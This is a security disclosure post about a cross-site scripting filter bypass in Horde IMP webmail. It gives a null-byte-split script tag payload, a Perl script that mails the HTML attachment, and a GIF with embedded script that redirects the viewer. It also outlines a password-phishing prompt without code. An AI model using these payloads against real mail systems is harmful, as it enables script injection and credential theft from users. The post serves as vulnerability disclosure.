Hello All,

PRELUDE
       What is HORDE?
       https://www.horde.org/about/
       The Mission
       The Horde Project is about creating high quality Open Source applications, based on PHP and the Horde Framework.

       The guiding principles of the Horde Project are to create solid standards-based applications using intelligent
       object oriented design that, wherever possible, are designed to run on a wide range of platforms and backends.

       There is great emphasis on making Horde as friendly to non-English speakers as possible.
       The Horde Framework currently supports many localization features such as unicode
       and right-to-left text and generous users have contributed many translations for the framework and applications.

       https://www.horde.org/imp/about/
       Currently Horde Project boasts many applications, some already enterprise-ready and deployed in
       demanding environments, and some exciting new ones still in development.

       https://www.horde.org/imp/4.0/

DESCRIPTION
           HORDE IMP is implementing a security strategy based on attempt to
      strip HTML tags it considers harmful. Before printing an attached
      file Horde will try to strip tags like <script>, <link> etc.
           I can almost see you growing bored at this point - the
      topic is so well-trodden, nevertheless I will continue.
           Those who is exploiting this bug now - don't be sorry for
      it going public - there are numerous but less apparent security issues
      with Horde Imp which will still allow you to achieve the same
      effect when the bug is fixed.
           The next part is going to be a short one, there is nothing
      to explain, the example is self-commented and well known:
      
         <s0x00hcript>alert('HORDE')</s0x00hcript>
         0x00h is an ASCII 00
         
           At this point the marvelous strategy of "stripping" will fail to
      strip <script> as well as the other arbitrary tags which are
      otherwise filtered rendering IMP into some moderate quality
      software. (Will work only for IE).
      
           One can devise various examples playing with unicode
      attachments and strings. Yes it looks like Horde doesn't not know how to
      handle utf16 attachments. As far as this direction is exploited - there is
      a wide playground for those, who are interested, in almost every
      line of Horde products.

      
POC
#
# MIME::Liet SMTP client by C3PO
#
   use strict;
   use MIME::Base64;
   use MIME::Lite;
#----------------------------------------------------
#                    load_file
#----------------------------------------------------
   sub load_file{   
      my($file) = shift;
      my($Body);
      open(IN, $file) || die("Can't open $file $!");
      binmode IN;
      read(IN, $Body, -s $file);  
      close(IN); 
      return $Body;
  }
#----------------------------------------------------
#                      main
#----------------------------------------------------
   my $c = load_file('\Xploits\horder\passed.htm'); #content
   my $m = MIME::Lite->new(
                 From    =>'mail@domain.zone',
                 To      =>'mail@domain.zone',
                 Subject =>'Horde',
                 Date    =>"Tue, 17 Dec 2002 22:00:02 +0300",
                 Type    =>"text/html", 
                 Data    => $c,
                 Filename=>"horde.html",
                 Encoding =>'base64'
                 );
  $m->attr('content-type.charset' => 'windows-1251'); #not necessary
  $m->send("smtp","smtp.domain.zone");
   

passed.htm
may contain an arbitrary HTML code and javascript, as long as IE is
used to view an attachment.
Just save some page and, using any HEX editor (preferable HIEW,
of course) insert
<s0x00hcript>alert('HORDE')</s0x00hcript>
in it.
Attach this file, send it on your mail and view via IMP Webmail using IE.


Yes, your guess is a correct one, image attachments are all so
affected:

test.gif
<script language=javascript>
alert('GIF');
document.location.href='https://i3.microsoft.com/h/en-us/i/one_care_2_10.jpg';
</script>

Attach this gif and try to view it in Horde Imp. Never ever give
direct links on images in your software, especially when the images
are not checked. (IE behavior)

Given this mechanism an attacker may easily steal
user password by devising a DHMTL attachment which will obfuscate user
input, i.e. impersonating the server it will raise an Apache
authorization window and give some "Your password is expired" crap.
The example is not provided.

Yet a closer introspection into the source codes and algorithms may
reveal some other interesting yet questionable strategies which I
leave for you to mess with.

--
Best regards